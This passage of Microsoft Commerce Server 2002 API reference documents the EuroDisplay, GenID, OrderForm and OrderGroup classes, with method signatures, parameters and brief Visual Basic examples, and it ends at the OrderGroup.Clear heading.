[C#] This method returns an object containing the converted currency information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' oResult is an Object
oResult = oEuroDisp.ConvertBaseStringToCurr("99,333.53886")
' In the preceding example, the variable oResult is
' internally rounded to 99333.5389

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class

EuroDisplay.ConvertAltStringToCurr

EuroDisplay.FormatBaseMoney


EuroDisplay.ConvertMoney Method (PIA)

Use this method to convert the specified currency Object (representing a monetary value in the base currency) to a currency Object representing a monetary value in the alternate currency, using the initialized conversion rate.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function ConvertMoney(
  vtCurrVal As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object EuroDisplay.ConvertMoney(
  object vtCurrVal
);

Parameters

[Visual Basic .NET]
vtCurrVal
An Object that contains the monetary value in the base currency.
[C#]
vtCurrVal
A currency object representing a monetary value in the base currency.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a currency Object representing a monetary value in the alternate currency.

[C#] This method returns an object representing a monetary value in the alternate currency.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result
EuroDisplay ed = New EuroDisplay()
ed.Initialize ("$$",1033,"FF",1036, 2)
Result = EuroDisplay.ConvertMoney(100)
Response.Write "Converted $100 from $ to F ($1 = 2F) : " & Result & "<P>"

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class


EuroDisplay.FormatAltMoney Method (PIA)

Use this method to create a string representation of a currency Object, based on the alternate locale identifier and the alternate currency symbol string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function FormatAltMoney(
  vtConvMoney As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string EuroDisplay.FormatAltMoney(
  object vtConvMoney
);

Parameters

[Visual Basic .NET]
vtConvMoney
A currency Object that contains the monetary value to convert.
[C#]
vtConvMoney
A currency object that contains the monetary value to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the string representation of the specified currency Object.

[C#] This method returns a string representation of the specified object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The correct display of decimal places is dependent upon registry settings. For example, to ensure that 2 decimal places are displayed as in $ 1.08, in the Registry editor, you must ensure that the HKEY_USERS\DEFAULT\Control Panel\International\iCurrDigits value is set to 2.

[Visual Basic .NET]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' oTest is a Currency Object
' oResult is a String
oTest = "$ 20.00"
oResult = oEuroDisp.FormatAltMoney (vTest)
' In the preceding example, if the Alt Currency symbol string
' is "$" and the Alt locale identifier is 1033, oResult will
' contain the string, "$ 20.00"

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class

EuroDisplay.ConvertAltStringToCurr

EuroDisplay.FormatBaseMoney


EuroDisplay.FormatBaseMoney Method (PIA)

Use this method to create a string representation of a currency object, based on the base locale identifier and the base currency symbol string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function FormatBaseMoney(
  vtConvMoney As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string EuroDisplay.FormatBaseMoney(
  object vtConvMoney
);

Parameters

[Visual Basic .NET]
vtConvMoney
A currency Object that contains the monetary value to convert.
[C#]
vtConvMoney
A currency object that contains the monetary value to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the string representation of the specified currency Object.

[C#] This method returns a string representation of the specified object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The correct display of decimal places is dependent upon registry settings. For example, to ensure that 2 decimal places are displayed as in $ 1.08, in the Registry editor, you must ensure that the HKEY_USERS\DEFAULT\Control Panel\International\iCurrDigits value is set to 2.

[Visual Basic .NET]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' oTest is a Currency Object
' oResult is a String
oTest = "$ 40.08"
oResult = oEuroDisp.FormatBaseMoney (vTest)
' In the preceding example, if the Base Currency symbol string
' is "$" and the Base locale identifier is 1033, oResult will
' contain the string, "$ 40.08"

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class

EuroDisplay.ConvertBaseStringToCurr

EuroDisplay.FormatAltMoney


EuroDisplay.Initialize Method (PIA)

Use this method to initialize the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Initialize(
  szBaseCurr As String,
  lBaseLCID As Integer,
  szAltCurr As String,
  lAltLCID As Integer,
  flEuroConvRate As Double
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void EuroDisplay.Initialize(
  string szBaseCurr,
  int lBaseLCID,
  string szAltCurr,
  int lAltLCID,
  double flEuroConvRate
);

Parameters

[Visual Basic .NET]
szBaseCurr
A String that contains the base currency symbol string.
lBaseLCID
An Integer that contains the base locale identifier.
szAltCurr
A String that contains the alternate currency symbol string.
lAltLCID
An Integer that contains the alternate locale identifier.
flEuroConvRate
A Double (8-byte floating point number) that contains the rate at which to convert the base currency into the alternate currency. For example, if the base currency is Swiss Francs which are exchanged at a rate of 1 SF = 2.1 Euros, and the alternate currency is Euro, then this parameter will have a value of 2.1.
[C#]
szBaseCurr
A string that contains the base currency symbol string.
lBaseLCID
An int that contains the base locale identifier.
szAltCurr
A string that contains the alternate currency symbol string.
lAltLCID
An int that contains the alternate locale identifier.
flEuroConvRate
A double (8-byte floating point number) that contains the rate at which to convert the base currency into the alternate currency. For example, if the base currency is Swiss Francs which are exchanged at a rate of 1 SF = 0.63 Euros, and the alternate currency is Euro, then this parameter will have a value of 0.63.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' In this example, the Base Currency symbol string
' is "$" and the Base locale identifier is 1033; the Alt
' Currency symbol string is "DM"; the Base locale identifier
'  is 1037, and the conversion rate is $ 1 = 2.3 DM.

oEuroDisp.Initialize ("$", 1033, "DM", 1037, 2.3)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: eurodisplib (in eurodisplib.dll)

See Also

EuroDisplay Class


GenID Class (PIA)

Use this object to generate globally unique identifiers (GUIDs) or to create and maintain multiple, global, sequential counters that are persisted in a database. A global counter is one that can work across multiple computers.

Methods

Method | Description
GenBase5GUIDString | Generates a base5 GUID string.
GenGUIDString | Generates a GUID string.
GetCounterValue | Retrieves the value of the specified counter and then increments the counter.
Initialize | Connects the GenID object to the database that stores the table of counters.
InitializeCounter | Initializes a new counter or resets an existing counter.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)


GenID Methods (PIA)

Methods

Method | Description
GenBase5GUIDString | Generates a base5 GUID string.
GenGUIDString | Generates a GUID string.
GetCounterValue | Retrieves the value of the specified counter and then increments the counter.
Initialize | Connects the GenID object to the database that stores the table of counters.
InitializeCounter | Initializes a new counter or resets an existing counter.


GenID.GenBase5GUIDString Method (PIA)

Use this method to generate a base5 globally unique identifier (GUID) string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GenBase5GUIDString() As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string GenBase5GUIDString();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the base5 GUID.

[C#] This method returns a string with the base5 GUID string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A base5 GUID is used to store a slightly more compact version of the traditional GUID. The 128 binary digits are divided into groups of 5 instead of 4 with each group represented by the characters 0-9, and 22 characters of the alphabet. This results in a 26-digit representation for the GUID rather than the customary 32-digit representation.

[C#] The returned string contains valid data only if the method completes successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)

See Also

GenID Class


GenID.GenGUIDString Method (PIA)

Use this method to generate a globally unique identifier (GUID) string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GenGUIDString() As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string GenGUIDString();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the GUID.

[C#] This method returns a string containing the GUID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)

See Also

GenID Class


GenID.GetCounterValue Method (PIA)

Use this method to retrieve and increment the value stored in the specified counter.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetCounterValue(
  bstrCounterName As String,
  cDigits As Integer
) As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string GetCounterValue(
  string bstrCounterName,
  int cDigits
);

Parameters

[Visual Basic .NET]
bstrCounterName
A String that contains the counter name.
cDigits
An Integer that contains the number of digits to return.
[C#]
bstrCounterName
A string that contains the counter name.
cDigits
An int that contains the number of digits to return.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the counter value.

[C#] This method returns a string containing the counter value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

After the current value of the counter is returned, the counter is incremented by one. Use the InitializeCounter method to reset the counter.

If the value of the counter is less than the number of digits requested, the value is left padded with zeroes.

The Initialize method must be called before calling the GetCounterValue method.

[C#] The returned string contains valid data only if the method completes successfully.

[Visual Basic .NET]

Example

' sCounterValue is a String
' oGenID is a Commerce GenID object
' The value stored in the counter is 285.
sCounterValue = oGenID.GetCounterValue("OrderIDCounter", 4)

' sCounterValue = 0285
' The value now stored in the OrderIDCounter is 286.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)

See Also

GenID Class


GenID.Initialize Method (PIA)

Use this method to connect the GenID object to the database that stores the table of counters.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Initialize(
  bstrDBConnectionString As String,
  Optional cBlockSizeHint As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void Initialize(
  string bstrDBConnectionString,
  int cBlockSizeHint
);

Parameters

[Visual Basic .NET]
bstrDBConnectionString
A String that contains the connection information for the database.
cBlockSizeHint
Not implemented, leave blank.
[C#]
bstrDBConnectionString
A string that contains the connection information for the database.
cBlockSizeHint
Not implemented, set to 1.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before calling the GetCounterValue and InitializeCounter methods.

The connection string may be obtained through the SiteConfigReadOnly object or through the Commerce Server Manager console from the connstr_db_Transactions property under Commerce Server Manager\Commerce Sites\<site name>\Site Resources\Transactions.

[Visual Basic .NET]

Example

' oGenID is a Commerce GenID object

' Connect using an explicit connection string.

oGenID.Initialize( "Provider=SQLOLEDB;Data Source=server;" _
 & "Integrated Security='SSPI';Initial Catalog=Retail_commerce")
' Connect using a string retrieved from the SiteConfigReadOnly object.
' sConn is a String, oSCRO is an initialized SiteConfigReadOnly object

sConn = oSCRO.Fields("Transactions").Value.Fields("connstr_db_Transactions").Value
oGenID.Initialize( sConn )

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)

See Also

GenID Class


GenID.InitializeCounter Method (PIA)

Use this method to create or reset a global, sequential counter.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub InitializeCounter(
  bstrCounterName As String,
  dwInitialValue As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void InitializeCounter(
  string bstrCounterName,
  int dwInitialValue
);

Parameters

[Visual Basic .NET]
bstrCounterName
A String that contains the counter name.
dwInitialValue
An Integer that contains the initial value of the counter.
[C#]
bstrCounterName
A string that contains the counter name.
dwInitialValue
An int that contains the initial value of the counter.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Any number of counters may be created. If the counter already exists, its value is reset to the specified initial value.

A global counter will work across multiple computers.

The Initialize method must be called before calling the InitializeCounter method.

[Visual Basic .NET]

Example

' oGenID is a Commerce GenID object

oGenID.InitializeCounter("OrderCounter", 213)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: genidlib (in genidlib.dll)

See Also

GenID Class


OrderForm Class (PIA)

The OrderForm object provides for in-memory storage of user and purchase information. Microsoft Commerce Server 2002 sites use the OrderForm object to store the items that a user has chosen to purchase, and to store receipt information that reflects the purchase history for a given user.

Methods

Method | Description
AddItem | Adds the specified item to the items collection of the object.
ClearItems | Clears the items collection of the object.
ClearOrderForm | Clears the entire OrderForm object.

Remarks

The OrderForm object is defined internally as a structured group of SimpleList and Dictionary objects, and includes the methods required to add items, clear items, and clear the entire OrderForm object itself.

The base of the OrderForm object is a Dictionary object, which contains information that describes the entire order. This includes user information, such as the shopper ID, name, and address; and also order cost information, such as purchase subtotal, tax, shipping, and total.

The OrderForm object does not directly support storage of its data on disk. The DBStorage and OrderGroupManager objects enable persistent storage of OrderForm object data.

A number of the elements in the base Dictionary object of the OrderForm object include underscore (_) characters. The appearance of an underscore character in an element name indicates that these elements are not saved to the order form storage for the site. These elements are saved instead to the receipt storage of the site when the purchase is finalized.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: MSCSCoreLib (in MSCSCoreLib.dll)

See Also

Business Process Objects

OrderGroup Class

OrderGroupManager Class

SimpleFindSearchInfo Class

SimpleFindResultInfo Class


OrderForm Methods (PIA)

Methods

Method | Description
AddItem | Adds the specified item to the items collection of the object.
ClearItems | Clears the items collection of the object.
ClearOrderForm | Clears the entire OrderForm object.


OrderForm.AddItem Method (PIA)

Use this method to add the specified item to the items collection of an OrderForm object. The items collection is a SimpleList object containing Dictionary objects.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function AddItem(
  varSKU As Object,
  lCount As Integer,
  lPlacedPrice As Integer
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
object AddItem(
  object varSKU,
  int lCount,
  int lPlacedPrice
);

Parameters

[Visual Basic .NET]
varSKU
An Object that contains the SKU of the item to add.
lCount
An Integer that contains the item count.
lPlacedPrice
An Integer that is reserved for future use. This parameter must be set to 0 (zero).
[C#]
varSKU
A VARIANT that contains the stockkeeping unit (SKU) of the item to add.
lCount
An int that contains the item count.
lPlacedPrice
An int that contains the placed price of the item.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object reference that holds the Dictionary object that contains the added item.

[C#] This method returns an object indicating whether or not it completed successfully. A Dictionary object is used to return the added item; if the method does not complete successfully, the object will be null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The returned object parameter contains valid data only if the method returns successfully; otherwise, it is null.

[Visual Basic .NET]

Example

' Order is a Commerce.OrderForm object; a quantity of 5 is
' being added of the product whose SKU is SKUnumber.
Order.AddItem("SKUnumber", 5,0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: MSCSCoreLib (in MSCSCoreLib.dll)

See Also

OrderForm Class

OrderForm.ClearItems

OrderForm.ClearOrderForm


OrderForm.ClearItems Method (PIA)

Use this method to clear the items collection of the OrderForm object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub ClearItems()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void ClearItems();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A site uses the ClearItems method to respond to a user choosing to cancel a purchase. This method affects only the information in the items collection. Other OrderForm object information, such as _oadjust_subtotal and _total_total, is modified only if you run the Order Processing Pipeline (OPP) on this OrderForm object.

To empty the entire contents of the OrderForm object, call the ClearOrderForm method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: MSCSCoreLib (in MSCSCoreLib.dll)

See Also

OrderForm Class

OrderForm.AddItem

OrderForm.ClearOrderForm


OrderForm.ClearOrderForm Method (PIA)

Use this method to clear the entire OrderForm object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub ClearOrderForm()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void ClearOrderForm();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: MSCSCoreLib (in MSCSCoreLib.dll)

See Also

OrderForm Class

OrderForm.AddItem

OrderForm.ClearItems


OrderGroup Class (PIA)

The OrderGroup object is used in Commerce Server 2002 to store, access, and compute basket and order information for a site. The OrderGroupManager object works in conjunction with the OrderGroup object, providing search and other management operations for orders.

Methods

Method | Description
AddItem | Adds an item to the specified OrderForm object.
AddItemsFromTemplate | Adds the line items associated with an on-disk order group to the current OrderGroup object.
AddOrderform | Adds an OrderForm object with all of its contents to the OrderGroup object.
AddXMLAsOrderForm | Converts an XML string to an OrderForm object and adds it to the OrderGroup object.
AggregateOrderFormValues | Iterates across all OrderForm objects, computes a total of the specified key, and then stores the total at the OrderGroup object level.
Clear | Clears the OrderGroup object of all OrderForm objects.
GetAddress | Gets the specified address dictionary object.
GetItemInfo | Gets a reference to the line-item dictionary from the specified OrderForm object at the specified index.
GetOrderFormAsXML | Converts an OrderForm object into an XML string.
GetOrderFormValue | Gets the OrderForm object value specified by the supplied OrderForm key.
Initialize | Initializes the OrderGroup object.
LoadBasket | Loads the basket for the current user from the database.
LoadOrder | Loads the specified OrderGroup object from the database.
LoadTemplate | Loads the specified template from the database.
PurgeUnreferencedAddresses | Removes all addresses in the OrderGroup object that are not being referenced by any line-item shipping address.
PutItemValue | Puts the specified values into the specified keys of the line item.
PutOrderFormValue | Puts the specified values into the specified keys of the OrderForm object.
RemoveItem | Removes a line item from the specified OrderForm object. The item index specified indicates which line item to remove.
RemoveOrderForm | Removes the specified OrderForm object from the OrderGroup object.
RunPipe | Runs the Pipeline Component File on each OrderForm object in the OrderGroup object.
SaveAsBasket | Saves the OrderGroup object to the database with a basket status.
SaveAsOrder | Saves the OrderGroup object to the database with an order status.
SaveAsTemplate | Saves the OrderGroup object to the database with a template status.
SetAddress | Sets the OrderGroup object address dictionary values as specified by the address dictionary object supplied.
SetAddressFromFields | Sets the OrderGroup object address dictionary values as specified by the fields object supplied.
SetShippingAddress | Sets the shipping address to that referenced by the database address ID supplied.

Properties

Property | Type | Description
LogFile | String | Log file name for pipeline runs. Allows pipeline logging when set to a non-empty string. This property is read/write.
SavePrefix | String | Specifies a key prefix that will prevent a dictionary entry from being saved to the database. This property is read/write.
Value | Object | Returns the OrderGroup object attributes. This property is read-only.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

Business Process Objects

OrderGroupManager Class

OrderForm Class

SimpleFindSearchInfo Class

SimpleFindResultInfo Class


OrderGroup Methods (PIA)

Methods

Method | Description
AddItem | Adds an item to the specified OrderForm object.
AddItemsFromTemplate | Adds the line items associated with an on-disk order group to the current OrderGroup object.
AddOrderform | Adds an OrderForm object with all of its contents to the OrderGroup object.
AddXMLAsOrderForm | Converts an XML string to an OrderForm object and adds it to the OrderGroup object.
AggregateOrderFormValues | Iterates across all OrderForm objects, computes a total of the specified key, and then stores the total at the OrderGroup object level.
Clear | Clears the OrderGroup object of all OrderForm objects.
GetAddress | Gets the specified address dictionary object.
GetItemInfo | Gets a reference to the line-item dictionary from the specified OrderForm object at the specified index.
GetOrderFormAsXML | Converts an OrderForm object into an XML string.
GetOrderFormValue | Gets the OrderForm object value specified by the supplied OrderForm key.
Initialize | Initializes the OrderGroup object.
LoadBasket | Loads the basket for the current user from the database.
LoadOrder | Loads the specified OrderGroup object from the database.
LoadTemplate | Loads the specified template from the database.
PurgeUnreferencedAddresses | Removes all addresses in the OrderGroup object that are not being referenced by any line-item shipping address.
PutItemValue | Puts the specified values into the specified keys of the line item.
PutOrderFormValue | Puts the specified values into the specified keys of the OrderForm object.
RemoveItem | Removes a line item from the specified OrderForm object. The item index specified indicates which line item to remove.
RemoveOrderForm | Removes the specified OrderForm object from the OrderGroup object.
RunPipe | Runs the Pipeline Component File on each OrderForm object in the OrderGroup object.
SaveAsBasket | Saves the OrderGroup object to the database with a basket status.
SaveAsOrder | Saves the OrderGroup object to the database with an order status.
SaveAsTemplate | Saves the OrderGroup object to the database with a template status.
SetAddress | Sets the OrderGroup object address dictionary values as specified by the address dictionary object supplied.
SetAddressFromFields | Sets the OrderGroup object address dictionary values as specified by the fields object supplied.
SetShippingAddress | Sets the shipping address to that referenced by the database address ID supplied.


OrderGroup.AddItem Method (PIA)

Use this method to add a line item to the specified OrderForm object.

This method adds a line-item dictionary to the given OrderForm object (the strOrderFormName parameter). If the strOrderFormName is not supplied, the parameter strOrderFormName defaults to "default"; if "default" does not exist, it is created. This method also increments the aggregated quantity total at the OrderGroup object and OrderForm object levels.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function AddItem(
  dictItem As Object,
  Optional strOrderFormName As Object
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using Microsoft.CommerceServer.Interop;       //For IDictionary
…
public int AddItem(
  IDictionary dictItem,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
dictItem
A Dictionary object that contains the line-item information.
strOrderFormName
An Object that specifies the name of the OrderForm object to add the item to. Depending on how a site is structured, you may choose to specify the vendor name of the item as the strOrderFormName. (This will result in items from different vendors being added to different OrderForm objects).
[C#]
dictItem
A Microsoft.CommerceServer.Interop.IDictionary interface to a Dictionary object that contains the line-item information.
strOrderFormName
An object that specifies the name of the OrderForm object to add the item to. Depending on how a site is structured, you may choose to specify the vendor name of the item as the strOrderFormName. (This will result in items from different vendors being added to different OrderForm objects.)

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that specifies the index at which the item was added.

[C#] This method returns an int containing the index at which the item was added.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • Each line item that is added should contain a quantity.
  • If you are using the QueryCatalogInfo component in your pipeline, you will also need:
    • product_catalog
    • product_id
    • product_variant_id (if this is a product variant)
[Visual Basic .NET]

Example

' dDict is a Dictionary object
' lLineItemIndex is an Integer
' sMyOrder is a String
' oOrderGroup is a Commerce.OrderGroup Object
lLineItemIndex = oOrderGroup.AddItem(dDict, sMyOrder)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.RemoveItem


OrderGroup.AddItemsFromTemplate Method (PIA)

Use this method to add the line items associated with an on-disk order group template to the current OrderGroup object.

This method iterates across all the OrderForms in the specified template and adds them to the current OrderGroup. If the OrderForms being added already exist, the line items on the template OrderGroup are simply added. When a non-existing OrderForm is encountered, the method will add the OrderForm in its entirety to the OrderGroup, including OrderForm-level dictionary values.

The OrderGroup object keeps a counter of total line items at the OrderForm and OrderGroup levels. For the OrderGroup level, it keeps track of the number of line items in all the OrderForms. This value is held under the key "total_lineitems".

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub AddItemsFromTemplate(
  OrderGroupID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void AddItemsFromTemplate(
  string OrderGroupID
);

Parameters

[Visual Basic .NET]
OrderGroupID
A String that specifies the OrderGroup object ID for the template.
[C#]
OrderGroupID
A string that specifies the OrderGroup object ID for the template.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • It is the responsibility of the application to implement security. This method does not check whether the user ID of the template is the same as the user ID specified in the initialization call.

This method also works on previously submitted orders and baskets, as well as OrderGroup objects with Template (Saved Order) status.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
' myOGID is a GUID String
myOGID ="754C40C6-EAA9-454C-A8AB-02789FBE0FB9"
oOrderGroup.AddItemsFromTemplate(myOGID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.AddOrderform Method (PIA)

Use this method to add an OrderForm object with all of its contents to the OrderGroup object.

If the strOrderFormName is not supplied, it defaults to "default".

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub AddOrderform(
  orderform As Object,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using Microsoft.CommerceServer.Interop;       //For IDictionary
…
public void AddOrderform(
  IDictionary orderform,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
orderform
A Dictionary object that contains the OrderForm object that will be added.
strOrderFormName
An Object that specifies the OrderForm object name.
[C#]
orderform
A Microsoft.CommerceServer.Interop.IDictionary object that will be added.
strOrderFormName
An object that contains the OrderForm object name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' dOrderForm is a Dictionary Object
' sMyOrderName is a string
' oOrderGroup is a Commerce.OrderGroup Object
oOrderGroup.AddOrderform(dOrderForm,sMyOrderName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.AddXMLAsOrderForm Method (PIA)

Use this method to add items previously saved as XML (by using the GetOrderformAsXML method) back into an OrderGroup object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub AddXMLAsOrderForm(
  strXML As String,
  nXMLLocale As Integer,
  Optional strOrderFormName As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void AddXMLAsOrderForm(
  string strXML,
  int nXMLLocale,
  object strOrderFormName
);

Parameters

[Visual Basic .NET]
strXML
A String that specifies the XML string containing the line items to add.
nXMLLocale
An Integer that specifies the locale to use in the XML string conversion.
strOrderFormName
An Object that specifies the OrderForm object name to add.
[C#]
strXML
A string that specifies the XML string containing the line items to add.
nXMLLocale
An int that specifies the locale to use in the XML string conversion.
strOrderFormName
An object that specifies the OrderForm object name to add.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • Use of the DictionaryXMLTransforms object is recommended when exchanging XML through BizTalk Server. The DictionaryXMLTransforms object allows you to write out XML to a well-defined schema.
[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup Object
' sXMLString is an string containing order-form data
' lLocale is a long specifying the locale to use in conversion
oOrderGroup.AddXMLAsOrderForm(sXMLString, lLocale)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class

OrderGroup.GetOrderFormAsXML


OrderGroup.AggregateOrderFormValues Method (PIA)

Use this method to iterate across all OrderForm objects, compute a total of the specified key, and store the total at the OrderGroup object level.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub AggregateOrderFormValues(
  strOrderFormKey As String,
  strOrderGroupKey As String
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void AggregateOrderFormValues(
  string strOrderFormKey,
  string strOrderGroupKey
);

Parameters

[Visual Basic .NET]
strOrderFormKey
A String that specifies the OrderForm key of the value to be aggregated.
strOrderGroupKey
A String that specifies the OrderGroup key of the value to which the aggregated total will be written.
[C#]
strOrderFormKey
A string that specifies the OrderForm key of the value to be aggregated.
strOrderGroupKey
A string that specifies the OrderGroup key of the value to which the aggregated total will be written.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.AggregateOrderFormValues("saved_cy_handling_total", _
"_cy_handling_total")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.Clear Method (PIA)

